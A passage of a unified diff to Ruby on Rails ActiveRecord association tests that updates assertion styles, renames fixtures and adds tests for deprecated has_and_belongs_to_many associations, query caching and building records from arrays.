-    ## and again to verify that reset_column_information clears the cache correctly
-    david.projects.reset_column_information
-
-    assert_queries(:any) { david.projects.columns }
-    assert_no_queries { david.projects.columns }
-  end
-
   def test_attributes_are_being_set_when_initialized_from_habtm_association_with_where_clause
     new_developer = projects(:action_controller).developers.where(name: "Marcelo").build
-    assert_equal new_developer.name, "Marcelo"
+    assert_equal "Marcelo", new_developer.name
   end
 
   def test_attributes_are_being_set_when_initialized_from_habtm_association_with_multiple_where_clauses
     new_developer = projects(:action_controller).developers.where(name: "Marcelo").where(salary: 90_000).build
-    assert_equal new_developer.name, "Marcelo"
-    assert_equal new_developer.salary, 90_000
+    assert_equal "Marcelo", new_developer.name
+    assert_equal 90_000, new_developer.salary
   end
 
   def test_include_method_in_has_and_belongs_to_many_association_should_return_true_for_instance_added_with_build
@@ -875,7 +854,7 @@ def test_destruction_does_not_error_without_primary_key
 
   def test_has_and_belongs_to_many_associations_on_new_records_use_null_relations
     projects = Developer.new.projects
-    assert_no_queries(ignore_none: false) do
+    assert_queries_count(0) do
       assert_equal [], projects
       assert_equal [], projects.where(title: "omg")
       assert_equal [], projects.pluck(:title)
@@ -936,10 +915,10 @@ def test_redefine_habtm
   end
 
   def test_habtm_with_reflection_using_class_name_and_fixtures
-    assert_not_nil Developer._reflections["shared_computers"]
+    assert_not_nil Developer._reflections[:shared_computers]
     # Checking the fixture for named association is important here, because it's the only way
     # we've been able to reproduce this bug
-    assert_not_nil File.read(File.expand_path("../../../fixtures/developers.yml", __FILE__)).index("shared_computers")
+    assert_not_nil File.read(File.expand_path("../../fixtures/developers.yml", __dir__)).index("shared_computers")
     assert_equal developers(:david).shared_computers.first, computers(:laptop)
   end
 
@@ -950,13 +929,6 @@ def test_with_symbol_class_name
     end
   end
 
-  def test_with_constant_class_name
-    assert_nothing_raised do
-      developer = DeveloperWithConstantClassName.new
-      developer.projects
-    end
-  end
-
   def test_alternate_database
     professor = Professor.create(name: "Plum")
     course = Course.create(name: "Forensics")
@@ -994,11 +966,11 @@ def test_preloaded_associations_size
         projects.
         detect { |p| p.id == first_project.id }
 
-    assert preloaded_first_project.salaried_developers.loaded?, true
+    assert_predicate preloaded_first_project.salaried_developers, :loaded?
     assert_equal first_project.salaried_developers.size, preloaded_first_project.salaried_developers.size
   end
 
-  def test_has_and_belongs_to_many_is_useable_with_belongs_to_required_by_default
+  def test_has_and_belongs_to_many_is_usable_with_belongs_to_required_by_default
     assert_difference "Project.first.developers_required_by_default.size", 1 do
       Project.first.developers_required_by_default.create!(name: "Sean", salary: 50000)
     end
@@ -1009,16 +981,76 @@ def test_association_name_is_the_same_as_join_table_name
     assert_nothing_raised { user.jobs_pool.clear }
   end
 
-  def test_has_and_belongs_to_many_while_partial_writes_false
-    begin
-      original_partial_writes = ActiveRecord::Base.partial_writes
-      ActiveRecord::Base.partial_writes = false
-      developer = Developer.new(name: "Mehmet Emin İNAÇ")
-      developer.projects << Project.new(name: "Bounty")
+  def test_has_and_belongs_to_many_while_partial_inserts_false
+    original_partial_inserts = ActiveRecord::Base.partial_inserts
+    ActiveRecord::Base.partial_inserts = false
+    developer = Developer.new(name: "Mehmet Emin İNAÇ")
+    developer.projects << Project.new(name: "Bounty")
+
+    assert developer.save
+  ensure
+    ActiveRecord::Base.partial_inserts = original_partial_inserts
+  end
+
+  def test_has_and_belongs_to_many_with_belongs_to
+    sink = Sink.create! kitchen: Kitchen.new, sources: [Source.new]
+    assert_equal 1, sink.sources.count
+  end
+end
+
+class DeprecatedHasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
+  include DeprecatedAssociationsTestHelpers
+
+  fixtures :categories
+
+  setup do
+    @model = DATS::Category
+    @category = @model.first
+  end
+
+  test "<association>" do
+    assert_not_deprecated_association(:posts) do
+      @category.posts
+    end
+
+    assert_deprecated_association(:deprecated_posts, context: context_for_method(:deprecated_posts)) do
+      assert_equal @category.posts.order(:id), @category.deprecated_posts.order(:id)
+    end
+  end
+
+  test "<association>=" do
+    post = DATS::Post.new(title: "Title", body: "Body")
+
+    assert_not_deprecated_association(:posts) do
+      @category.posts = [post]
+    end
+
+    assert_deprecated_association(:deprecated_posts, context: context_for_method(:deprecated_posts=)) do
+      @category.deprecated_posts = [post]
+    end
+    assert_equal [post], @category.deprecated_posts
+  end
+
+  test "<singular_association>_ids" do
+    assert_not_deprecated_association(:posts) do
+      @category.post_ids
+    end
+
+    assert_deprecated_association(:deprecated_posts, context: context_for_method(:deprecated_post_ids)) do
+      assert_equal @category.post_ids, @category.deprecated_post_ids
+    end
+  end
+
+  test "<singular_association>_ids=" do
+    post = DATS::Post.create!(title: "Title", body: "Body")
+
+    assert_not_deprecated_association(:posts) do
+      @category.post_ids = [post.id]
+    end
 
-      assert developer.save
-    ensure
-      ActiveRecord::Base.partial_writes = original_partial_writes
+    assert_deprecated_association(:deprecated_posts, context: context_for_method(:deprecated_post_ids=)) do
+      @category.deprecated_post_ids = [post.id]
     end
+    assert_equal [post.id], @category.deprecated_post_ids
   end
 end
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
index cbecfa84ffc6a..20ecd8c5e00be 100644
--- a/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "support/deprecated_associations_test_helpers"
 require "models/developer"
 require "models/computer"
 require "models/project"
@@ -33,51 +36,67 @@
 require "models/ship_part"
 require "models/treasure"
 require "models/parrot"
-require "models/tyre"
+require "models/tire"
 require "models/subscriber"
 require "models/subscription"
 require "models/zine"
 require "models/interest"
+require "models/human"
+require "models/sharded"
+require "models/cpk"
+require "models/comment_overlapping_counter_cache"
+require "models/dats"
 
 class HasManyAssociationsTestForReorderWithJoinDependency < ActiveRecord::TestCase
-  fixtures :authors, :posts, :comments
+  fixtures :authors, :author_addresses, :posts, :comments
 
   def test_should_generate_valid_sql
     author = authors(:david)
     # this can fail on adapters which require ORDER BY expressions to be included in the SELECT expression
     # if the reorder clauses are not correctly handled
-    assert author.posts_with_comments_sorted_by_comment_id.where("comments.id > 0").reorder("posts.comments_count DESC", "posts.tags_count DESC").last
+    assert author.posts_with_comments_sorted_by_comment_id.where("comments.id > 0").reorder("posts.comments_count": :desc, "posts.tags_count": :desc).last
   end
 end
 
 class HasManyAssociationsTestPrimaryKeys < ActiveRecord::TestCase
-  fixtures :authors, :essays, :subscribers, :subscriptions, :people
+  fixtures :authors, :author_addresses, :essays, :subscribers, :subscriptions, :people
 
   def test_custom_primary_key_on_new_record_should_fetch_with_query
     subscriber = Subscriber.new(nick: "webster132")
-    assert !subscriber.subscriptions.loaded?
+    assert_not_predicate subscriber.subscriptions, :loaded?
 
-    assert_queries 1 do
+    assert_queries_count 1 do
       assert_equal 2, subscriber.subscriptions.size
     end
 
-    assert_equal subscriber.subscriptions, Subscription.where(subscriber_id: "webster132")
+    assert_equal Subscription.where(subscriber_id: "webster132"), subscriber.subscriptions
   end
 
   def test_association_primary_key_on_new_record_should_fetch_with_query
     author = Author.new(name: "David")
-    assert !author.essays.loaded?
+    assert_not_predicate author.essays, :loaded?
 
-    assert_queries 1 do
+    assert_queries_count 1 do
       assert_equal 1, author.essays.size
     end
 
-    assert_equal author.essays, Essay.where(writer_id: "David")
+    assert_equal Essay.where(writer_id: "David"), author.essays
   end
 
   def test_has_many_custom_primary_key
     david = authors(:david)
-    assert_equal david.essays, Essay.where(writer_id: "David")
+    assert_equal Essay.where(writer_id: "David"), david.essays
+  end
+
+  def test_ids_on_unloaded_association_with_custom_primary_key
+    david = people(:david)
+    assert_equal Essay.where(writer_id: "David").pluck(:id), david.essay_ids
+  end
+
+  def test_ids_on_loaded_association_with_custom_primary_key
+    david = people(:david)
+    david.essays.load
+    assert_equal Essay.where(writer_id: "David").pluck(:id), david.essay_ids
   end
 
   def test_has_many_assignment_with_custom_primary_key
@@ -90,9 +109,9 @@ def test_has_many_assignment_with_custom_primary_key
 
   def test_blank_custom_primary_key_on_new_record_should_not_run_queries
     author = Author.new
-    assert !author.essays.loaded?
+    assert_not_predicate author.essays, :loaded?
 
-    assert_queries 0 do
+    assert_queries_count 0 do
       assert_equal 0, author.essays.size
     end
   end
@@ -100,9 +119,10 @@ def test_blank_custom_primary_key_on_new_record_should_not_run_queries
 
 class HasManyAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :categories, :companies, :developers, :projects,
-           :developers_projects, :topics, :authors, :comments,
-           :posts, :readers, :taggings, :cars, :jobs, :tags,
-           :categorizations, :zines, :interests
+           :developers_projects, :topics, :authors, :author_addresses, :comments,
+           :posts, :readers, :taggings, :cars, :tags,
+           :categorizations, :zines, :interests, :humans,
+           :sharded_blog_posts, :sharded_comments, :cpk_books, :cpk_authors
 
   def setup
     Client.destroyed_client_ids.clear
@@ -153,9 +173,9 @@ def test_default_scope_on_relations_is_not_cached
     assert_equal 0, counter
     post = posts.first
     assert_equal 0, counter
-    sql = capture_sql { post.comments.to_a }
+    queries = capture_sql_and_binds { post.comments.to_a }
     post.comments.reset
-    assert_not_equal sql, capture_sql { post.comments.to_a }
+    assert_not_equal queries, capture_sql_and_binds { post.comments.to_a }
   end
 
   def test_has_many_build_with_options
@@ -188,7 +208,7 @@ def test_clear_collection_should_not_change_updated_at
     part.reload
 
     assert_nil part.ship
-    assert !part.updated_at_changed?
+    assert_not_predicate part, :updated_at_changed?
   end
 
   def test_create_from_association_should_respect_default_scope
@@ -203,22 +223,65 @@ def test_create_from_association_should_respect_default_scope
 
     bulb = car.bulbs.create
     assert_equal "defaulty", bulb.name
+
+    bulb = car.bulbs.create!
+    assert_equal "defaulty", bulb.name
   end
 
   def test_build_and_create_from_association_should_respect_passed_attributes_over_default_scope
     car = Car.create(name: "honda")
 
+    bulb = car.bulbs.where(name: "exotic").build
+    assert_equal "exotic", bulb.name
+    assert_nil bulb.count_after_create
+
+    bulb = car.bulbs.where(name: "exotic").create
+    assert_equal "exotic", bulb.name
+    assert_equal 1, bulb.count_after_create
+
+    bulb = car.bulbs.where(name: "exotic").create!
+    assert_equal "exotic", bulb.name
+    assert_equal 2, bulb.count_after_create
+
     bulb = car.bulbs.build(name: "exotic")
     assert_equal "exotic", bulb.name
 
     bulb = car.bulbs.create(name: "exotic")
     assert_equal "exotic", bulb.name
 
+    bulb = car.bulbs.create!(name: "exotic")
+    assert_equal "exotic", bulb.name
+
     bulb = car.awesome_bulbs.build(frickinawesome: false)
     assert_equal false, bulb.frickinawesome
 
     bulb = car.awesome_bulbs.create(frickinawesome: false)
     assert_equal false, bulb.frickinawesome
+
+    bulb = car.awesome_bulbs.create!(frickinawesome: false)
+    assert_equal false, bulb.frickinawesome
+  end
+
+  def test_build_and_create_from_association_should_respect_unscope_over_default_scope
+    car = Car.create(name: "honda")
+
+    bulb = car.bulbs.unscope(where: :name).build
+    assert_nil bulb.name
+
+    bulb = car.bulbs.unscope(where: :name).create
+    assert_nil bulb.name
+
+    bulb = car.bulbs.unscope(where: :name).create!
+    assert_nil bulb.name
+
+    bulb = car.awesome_bulbs.unscope(where: :frickinawesome).build
+    assert_equal false, bulb.frickinawesome
+
+    bulb = car.awesome_bulbs.unscope(where: :frickinawesome).create
+    assert_equal false, bulb.frickinawesome
+
+    bulb = car.awesome_bulbs.unscope(where: :frickinawesome).create!
+    assert_equal false, bulb.frickinawesome
   end
 
   def test_build_from_association_should_respect_scope
@@ -241,11 +304,18 @@ def test_create_from_association_with_nil_values_should_work
     assert_equal "defaulty", bulb.name
   end
 
+  def test_build_from_association_sets_inverse_instance
+    car = Car.new(name: "honda")
+
+    bulb = car.bulbs.build
+    assert_equal car, bulb.car
+  end
+
   def test_do_not_call_callbacks_for_delete_all
     car = Car.create(name: "honda")
     car.funky_bulbs.create!
     assert_equal 1, car.funky_bulbs.count
-    assert_nothing_raised { car.reload.funky_bulbs.delete_all }
+    assert_equal 1, car.reload.funky_bulbs.delete_all
     assert_equal 0, car.funky_bulbs.count, "bulbs should have been deleted using :delete_all strategy"
   end
 
@@ -275,6 +345,14 @@ def test_delete_all_on_association_with_nil_dependency_is_the_same_as_not_loaded
     assert_equal(expected_sql, loaded_sql)
   end
 
+  def test_delete_all_on_association_clears_scope
+    author = Author.create!(name: "Gannon")
+    posts = author.posts
+    posts.create!(title: "test", body: "body")
+    posts.delete_all
+    assert_nil posts.first
+  end
+
   def test_building_the_associated_object_with_implicit_sti_base_class
     firm = DependentFirm.new
     company = firm.companies.build
@@ -303,14 +381,58 @@ def test_building_the_associated_object_with_an_unrelated_type
     assert_raise(ActiveRecord::SubclassNotFound) { firm.companies.build(type: "Account") }
   end
 
-  test "building the association with an array" do
+  test "build the association with an array" do
+    speedometer = Speedometer.new(speedometer_id: "a")
+    data = [{ name: "first" }, { name: "second" }]
+    speedometer.minivans.where(color: "blue").build(data)
+
+    assert_equal 2, speedometer.minivans.size
+    assert speedometer.save
+
+    speedometer.reload
+
+    assert_equal ["first", "second"], speedometer.minivans.map(&:name).sort
+    assert_equal ["blue", "blue"], speedometer.minivans.map(&:color)
+  end
+
+  test "new the association with an array" do
     speedometer = Speedometer.new(speedometer_id: "a")
     data = [{ name: "first" }, { name: "second" }]
-    speedometer.minivans.build(data)
+    speedometer.minivans.where(color: "blue").new(data)
 
     assert_equal 2, speedometer.minivans.size
     assert speedometer.save
-    assert_equal ["first", "second"], speedometer.reload.minivans.map(&:name)
+
+    speedometer.reload
+
+    assert_equal ["first", "second"], speedometer.minivans.map(&:name).sort
+    assert_equal ["blue", "blue"], speedometer.minivans.map(&:color)
+  end
+
+  test "create the association with an array" do
+    speedometer = Speedometer.create!(speedometer_id: "a")
+    data = [{ name: "first" }, { name: "second" }]
+    speedometer.minivans.where(color: "blue").create(data)
+
+    assert_equal 2, speedometer.minivans.size
+
+    speedometer.reload
+
+    assert_equal ["first", "second"], speedometer.minivans.map(&:name).sort
+    assert_equal ["blue", "blue"], speedometer.minivans.map(&:color)
+  end
+
+  test "create! the association with an array" do
+    speedometer = Speedometer.create!(speedometer_id: "a")
+    data = [{ name: "first" }, { name: "second" }]
+    speedometer.minivans.where(color: "blue").create!(data)
+
+    assert_equal 2, speedometer.minivans.size
+
+    speedometer.reload
+
+    assert_equal ["first", "second"], speedometer.minivans.map(&:name).sort
+    assert_equal ["blue", "blue"], speedometer.minivans.map(&:color)
   end
 
   def test_association_keys_bypass_attribute_protection
@@ -357,6 +479,27 @@ def test_association_protect_foreign_key
     assert_equal invoice.id, line_item.invoice_id
   end
 
+  class SpecialAuthor < ActiveRecord::Base
+    self.table_name = "authors"
+    has_many :books, class_name: "SpecialBook", foreign_key: :author_id
+  end
+
+  class SpecialBook < ActiveRecord::Base
+    self.table_name = "books"
+
+    belongs_to :author
+    enum :last_read, { unread: 0, reading: 2, read: 3, forgotten: nil }
+  end
+
+  def test_association_enum_works_properly
+    author = SpecialAuthor.create!(name: "Test")
+    book = SpecialBook.create!(last_read: "reading")
+    author.books << book
+
+    assert_equal "reading", book.last_read
+    assert_not_equal 0, SpecialAuthor.joins(:books).where(books: { last_read: "reading" }).count
+  end
+
   # When creating objects on the association, we must not do it within a scope (even though it
   # would be convenient), because this would cause that scope to be applied to any callbacks etc.
   def test_build_and_create_should_not_happen_within_scope
@@ -418,14 +561,15 @@ def test_no_sql_should_be_fired_if_association_already_loaded
   def test_finder_method_with_dirty_target
     company = companies(:first_firm)
     new_clients = []
-    assert_no_queries(ignore_none: false) do
+
+    assert_queries_count(0) do
       new_clients << company.clients_of_firm.build(name: "Another Client")
       new_clients << company.clients_of_firm.build(name: "Another Client II")
       new_clients << company.clients_of_firm.build(name: "Another Client III")
     end
 
-    assert_not company.clients_of_firm.loaded?
-    assert_queries(1) do
+    assert_not_predicate company.clients_of_firm, :loaded?
+    assert_queries_count(1) do
       assert_same new_clients[0], company.clients_of_firm.third
       assert_same new_clients[1], company.clients_of_firm.fourth
       assert_same new_clients[2], company.clients_of_firm.fifth
@@ -438,14 +582,15 @@ def test_finder_method_with_dirty_target
   def test_finder_bang_method_with_dirty_target
     company = companies(:first_firm)
     new_clients = []
-    assert_no_queries(ignore_none: false) do
+
+    assert_queries_count(0) do
       new_clients << company.clients_of_firm.build(name: "Another Client")
       new_clients << company.clients_of_firm.build(name: "Another Client II")
       new_clients << company.clients_of_firm.build(name: "Another Client III")
     end
 
-    assert_not company.clients_of_firm.loaded?
-    assert_queries(1) do
+    assert_not_predicate company.clients_of_firm, :loaded?
+    assert_queries_count(1) do
       assert_same new_clients[0], company.clients_of_firm.third!
       assert_same new_clients[1], company.clients_of_firm.fourth!
       assert_same new_clients[2], company.clients_of_firm.fifth!
@@ -456,7 +601,10 @@ def test_finder_bang_method_with_dirty_target
   end
 
   def test_create_resets_cached_counters
+    Reader.delete_all
+
     person = Person.create!(first_name: "tenderlove")
+
     post   = Post.first
 
     assert_equal [], person.readers
@@ -474,37 +622,32 @@ def test_update_all_respects_association_scope
     person = Person.new
     person.first_name = "Naruto"
     person.references << Reference.new
-    person.id = 10
-    person.references
     person.save!
-    assert_equal 1, person.references.update_all(favourite: true)
+    assert_equal 1, person.references.update_all(favorite: true)
   end
 
   def test_exists_respects_association_scope
     person = Person.new
     person.first_name = "Sasuke"
     person.references << Reference.new
-    person.id = 10
-    person.references
     person.save!
     assert_predicate person.references, :exists?
   end
 
-  # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
   def test_counting_with_counter_sql
-    assert_equal 3, Firm.all.merge!(order: "id").first.clients.count
+    assert_equal 3, Firm.first.clients.count
   end
 
   def test_counting
-    assert_equal 3, Firm.all.merge!(order: "id").first.plain_clients.count
+    assert_equal 3, Firm.first.plain_clients.count
   end
 
   def test_counting_with_single_hash
-    assert_equal 1, Firm.all.merge!(order: "id").first.plain_clients.where(name: "Microsoft").count
+    assert_equal 1, Firm.first.plain_clients.where(name: "Microsoft").count
   end
 
   def test_counting_with_column_name_and_hash
-    assert_equal 3, Firm.all.merge!(order: "id").first.plain_clients.count(:name)
+    assert_equal 3, Firm.first.plain_clients.count(:name)
   end
 
   def test_counting_with_association_limit
@@ -514,7 +657,7 @@ def test_counting_with_association_limit
   end
 
   def test_finding
-    assert_equal 3, Firm.all.merge!(order: "id").first.clients.length
+    assert_equal 3, Firm.first.clients.length
   end
 
   def test_finding_array_compatibility
@@ -554,17 +697,25 @@ def test_taking_not_found
   end
 
   def test_taking_with_a_number
+    klass = Class.new(Author) do
+      has_many :posts, -> { order(:id) }
+
+      def self.name
+        "Author"
+      end
+    end
+
     # taking from unloaded Relation
-    bob = Author.find(authors(:bob).id)
+    bob = klass.find(authors(:bob).id)
     new_post = bob.posts.build
-    assert_not bob.posts.loaded?
+    assert_not_predicate bob.posts, :loaded?
     assert_equal [posts(:misc_by_bob)], bob.posts.take(1)
     assert_equal [posts(:misc_by_bob), posts(:other_by_bob)], bob.posts.take(2)
     assert_equal [posts(:misc_by_bob), posts(:other_by_bob), new_post], bob.posts.take(3)
 
     # taking from loaded Relation
     bob.posts.load
-    assert bob.posts.loaded?
+    assert_predicate bob.posts, :loaded?
     assert_equal [posts(:misc_by_bob)], bob.posts.take(1)
     assert_equal [posts(:misc_by_bob), posts(:other_by_bob)], bob.posts.take(2)
     assert_equal [posts(:misc_by_bob), posts(:other_by_bob), new_post], bob.posts.take(3)
@@ -582,59 +733,54 @@ def test_taking_with_inverse_of
 
   def test_cant_save_has_many_readonly_association
     authors(:david).readonly_comments.each { |c| assert_raise(ActiveRecord::ReadOnlyRecord) { c.save! } }
-    authors(:david).readonly_comments.each { |c| assert c.readonly? }
+    authors(:david).readonly_comments.each { |c| assert_predicate c, :readonly? }
   end
 
   def test_finding_default_orders
-    assert_equal "Summit", Firm.all.merge!(order: "id").first.clients.first.name
+    assert_equal "Summit", Firm.first.clients.first.name
   end
 
   def test_finding_with_different_class_name_and_order
-    assert_equal "Apex", Firm.all.merge!(order: "id").first.clients_sorted_desc.first.name
+    assert_equal "Apex", Firm.first.clients_sorted_desc.first.name
   end
 
   def test_finding_with_foreign_key
-    assert_equal "Microsoft", Firm.all.merge!(order: "id").first.clients_of_firm.first.name
+    assert_equal "Microsoft", Firm.first.clients_of_firm.first.name
   end
 
   def test_finding_with_condition
-    assert_equal "Microsoft", Firm.all.merge!(order: "id").first.clients_like_ms.first.name
+    assert_equal "Microsoft", Firm.first.clients_like_ms.first.name
   end
 
   def test_finding_with_condition_hash
-    assert_equal "Microsoft", Firm.all.merge!(order: "id").first.clients_like_ms_with_hash_conditions.first.name
+    assert_equal "Microsoft", Firm.first.clients_like_ms_with_hash_conditions.first.name
   end
 
   def test_finding_using_primary_key
-    assert_equal "Summit", Firm.all.merge!(order: "id").first.clients_using_primary_key.first.name
+    assert_equal "Summit", Firm.first.clients_using_primary_key.first.name
   end
 
   def test_update_all_on_association_accessed_before_save
     firm = Firm.new(name: "Firm")
-    clients_proxy_id = firm.clients.object_id
     firm.clients << Client.first
     firm.save!
     assert_equal firm.clients.count, firm.clients.update_all(description: "Great!")
-    assert_not_equal clients_proxy_id, firm.clients.object_id
   end
 
   def test_update_all_on_association_accessed_before_save_with_explicit_foreign_key
-    # We can use the same cached proxy object because the id is available for the scope
     firm = Firm.new(name: "Firm", id: 100)
-    clients_proxy_id = firm.clients.object_id
     firm.clients << Client.first
     firm.save!
     assert_equal firm.clients.count, firm.clients.update_all(description: "Great!")
-    assert_equal clients_proxy_id, firm.clients.object_id
   end
 
-  def test_belongs_to_sanity
+  def test_belongs_to_with_new_object
     c = Client.new
-    assert_nil c.firm, "belongs_to failed sanity check on new object"
+    assert_nil c.firm, "belongs_to failed on new object"
   end
 
   def test_find_ids
-    firm = Firm.all.merge!(order: "id").first
+    firm = Firm.first
 
     assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find }
 
@@ -654,7 +800,7 @@ def test_find_ids
   end
 
   def test_find_one_message_on_primary_key
-    firm = Firm.all.merge!(order: "id").first
+    firm = Firm.first
 
     e = assert_raises(ActiveRecord::RecordNotFound) do
       firm.clients.find(0)
@@ -680,7 +826,7 @@ def test_find_ids_and_inverse_of
   end
 
   def test_find_all
-    firm = Firm.all.merge!(order: "id").first
+    firm = Firm.first
     assert_equal 3, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
     assert_equal 1, firm.clients.where("name = 'Summit'").to_a.length
   end
@@ -688,62 +834,138 @@ def test_find_all
   def test_find_each
     firm = companies(:first_firm)
 
-    assert ! firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
 
-    assert_queries(4) do
+    assert_queries_count(4) do
       firm.clients.find_each(batch_size: 1) { |c| assert_equal firm.id, c.firm_id }
     end
 
-    assert ! firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
   end
 
   def test_find_each_with_conditions
     firm = companies(:first_firm)
 
-    assert_queries(2) do
+    assert_queries_count(2) do
       firm.clients.where(name: "Microsoft").find_each(batch_size: 1) do |c|
         assert_equal firm.id, c.firm_id
         assert_equal "Microsoft", c.name
       end
     end
 
-    assert ! firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
   end
 
   def test_find_in_batches
     firm = companies(:first_firm)
 
-    assert ! firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
 
-    assert_queries(2) do
+    assert_queries_count(2) do
       firm.clients.find_in_batches(batch_size: 2) do |clients|
         clients.each { |c| assert_equal firm.id, c.firm_id }
       end
     end
 
-    assert ! firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
   end
 
   def test_find_all_sanitized
-    # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
-    firm = Firm.all.merge!(order: "id").first
+    firm = Firm.first
     summit = firm.clients.where("name = 'Summit'").to_a
     assert_equal summit, firm.clients.where("name = ?", "Summit").to_a
     assert_equal summit, firm.clients.where("name = :name", name: "Summit").to_a
   end
 
   def test_find_first
-    firm = Firm.all.merge!(order: "id").first
+    firm = Firm.first
     client2 = Client.find(2)
     assert_equal firm.clients.first, firm.clients.order("id").first
     assert_equal client2, firm.clients.where("#{QUOTED_TYPE} = 'Client'").order("id").first
   end
 
   def test_find_first_sanitized
-    firm = Firm.all.merge!(order: "id").first
+    firm = Firm.first
     client2 = Client.find(2)
-    assert_equal client2, firm.clients.merge!(where: ["#{QUOTED_TYPE} = ?", "Client"], order: "id").first
-    assert_equal client2, firm.clients.merge!(where: ["#{QUOTED_TYPE} = :type", { type: "Client" }], order: "id").first
+    assert_equal client2, firm.clients.where("#{QUOTED_TYPE} = ?", "Client").first
+    assert_equal client2, firm.clients.where("#{QUOTED_TYPE} = :type", type: "Client").first
+  end
+
+  def test_find_first_after_reset_scope
+    firm = Firm.first
+    collection = firm.clients
+
+    original_object = collection.first
+    assert_same original_object, collection.first, "Expected second call to #first to cache the same object"
+
+    # It should return a different object, since the association has been reloaded
+    assert_not_same original_object, firm.clients.first, "Expected #first to return a new object"
+  end
+
+  def test_find_first_after_reset
+    firm = Firm.first
+    collection = firm.clients
+
+    original_object = collection.first
+    assert_same original_object, collection.first, "Expected second call to #first to cache the same object"
+    collection.reset
+
+    # It should return a different object, since the association has been reloaded
+    assert_not_same original_object, collection.first, "Expected #first after #reset to return a new object"
+  end
+
+  def test_find_first_after_reload
+    firm = Firm.first
+    collection = firm.clients
+
+    original_object = collection.first
+    assert_same original_object, collection.first, "Expected second call to #first to cache the same object"
+    collection.reload
+
+    # It should return a different object, since the association has been reloaded
+    assert_not_same original_object, collection.first, "Expected #first after #reload to return a new object"
+  end
+
+  def test_reload_with_query_cache
+    connection = ActiveRecord::Base.lease_connection
+    connection.enable_query_cache!
+    connection.clear_query_cache
+
+    # Populate the cache with a query
+    firm = Firm.first
+    # Populate the cache with a second query
+    firm.clients.load
+
+    assert_equal 2, connection.query_cache.size
+
+    # Clear the cache and fetch the clients again, populating the cache with a query
+    assert_queries_count(1) { firm.clients.reload }
+    # This query is cached, so it shouldn't make a real SQL query
+    assert_queries_count(0) { firm.clients.load }
+
+    assert_equal 1, connection.query_cache.size
+  ensure
+    ActiveRecord::Base.lease_connection.disable_query_cache!
+  end
+
+  def test_reloading_unloaded_associations_with_query_cache
+    connection = ActiveRecord::Base.lease_connection
+    connection.enable_query_cache!
+    connection.clear_query_cache
+
+    firm = Firm.create!(name: "firm name")
+    client = firm.clients.create!(name: "client name")
+    firm.clients.to_a # add request to cache
+
+    connection.uncached do
+      client.update!(name: "new client name")
+    end
+
+    firm = Firm.find(firm.id)
+
+    assert_equal [client.name], firm.clients.reload.map(&:name)
+  ensure
+    ActiveRecord::Base.lease_connection.disable_query_cache!
   end
 
   def test_find_all_with_include_and_conditions
@@ -772,7 +994,7 @@ def test_find_scoped_grouped
   end
 
   def test_find_scoped_grouped_having
-    assert_equal 1, authors(:david).popular_grouped_posts.length
+    assert_equal 2, authors(:david).popular_grouped_posts.length
     assert_equal 0, authors(:mary).popular_grouped_posts.length
   end
 
@@ -788,6 +1010,12 @@ def test_select_with_block
     assert_equal [1], posts(:welcome).comments.select { |c| c.id == 1 }.map(&:id)
   end
 
+  def test_select_with_block_and_dirty_target
+    assert_equal 2, posts(:welcome).comments.select { true }.size
+    posts(:welcome).comments.build
+    assert_equal 3, posts(:welcome).comments.select { true }.size
+  end
+
   def test_select_without_foreign_key
     assert_equal companies(:first_firm).accounts.first.credit_limit, companies(:first_firm).accounts.select(:credit_limit).first.credit_limit
   end
@@ -813,36 +1041,40 @@ def test_adding_using_create
   end
 
   def test_create_with_bang_on_has_many_when_parent_is_new_raises
+    firm = Firm.new
     error = assert_raise(ActiveRecord::RecordNotSaved) do
-      firm = Firm.new
       firm.plain_clients.create! name: "Whoever"
     end
 
     assert_equal "You cannot call create unless the parent is saved", error.message
+    assert_equal firm, error.record
   end
 
   def test_regular_create_on_has_many_when_parent_is_new_raises
+    firm = Firm.new
     error = assert_raise(ActiveRecord::RecordNotSaved) do
-      firm = Firm.new
       firm.plain_clients.create name: "Whoever"
     end
 
     assert_equal "You cannot call create unless the parent is saved", error.message
+    assert_equal firm, error.record
   end
 
   def test_create_with_bang_on_has_many_raises_when_record_not_saved
     assert_raise(ActiveRecord::RecordInvalid) do
-      firm = Firm.all.merge!(order: "id").first
+      firm = Firm.first
       firm.plain_clients.create!
     end
   end
 
   def test_create_with_bang_on_habtm_when_parent_is_new_raises
+    developer = Developer.new("name" => "Aredridel")
     error = assert_raise(ActiveRecord::RecordNotSaved) do
-      Developer.new("name" => "Aredridel").projects.create!
+      developer.projects.create!
     end
 
     assert_equal "You cannot call create unless the parent is saved", error.message
+    assert_equal developer, error.record
   end
 
   def test_adding_a_mismatch_class
@@ -856,9 +1088,10 @@ def test_adding_a_collection
 
     assert_predicate companies(:first_firm).clients_of_firm, :loaded?
 
-    companies(:first_firm).clients_of_firm.concat([Client.new("name" => "Natural Company"), Client.new("name" => "Apple")])
+    result = companies(:first_firm).clients_of_firm.concat([Client.new("name" => "Natural Company"), Client.new("name" => "Apple")])
     assert_equal 4, companies(:first_firm).clients_of_firm.size
     assert_equal 4, companies(:first_firm).clients_of_firm.reload.size
+    assert_equal companies(:first_firm).clients_of_firm, result
   end
 
   def test_transactions_when_adding_to_persisted
@@ -874,36 +1107,38 @@ def test_transactions_when_adding_to_persisted
   end
 
   def test_transactions_when_adding_to_new_record
-    assert_no_queries(ignore_none: false) do
-      firm = Firm.new
+    firm = Firm.new
+    assert_queries_count(0) do
       firm.clients_of_firm.concat(Client.new("name" => "Natural Company"))
     end
   end
 
   def test_inverse_on_before_validate
     firm = companies(:first_firm)
-    assert_queries(1) do
+    assert_queries_count(3) do
       firm.clients_of_firm << Client.new("name" => "Natural Company")
     end
   end
 
   def test_new_aliased_to_build
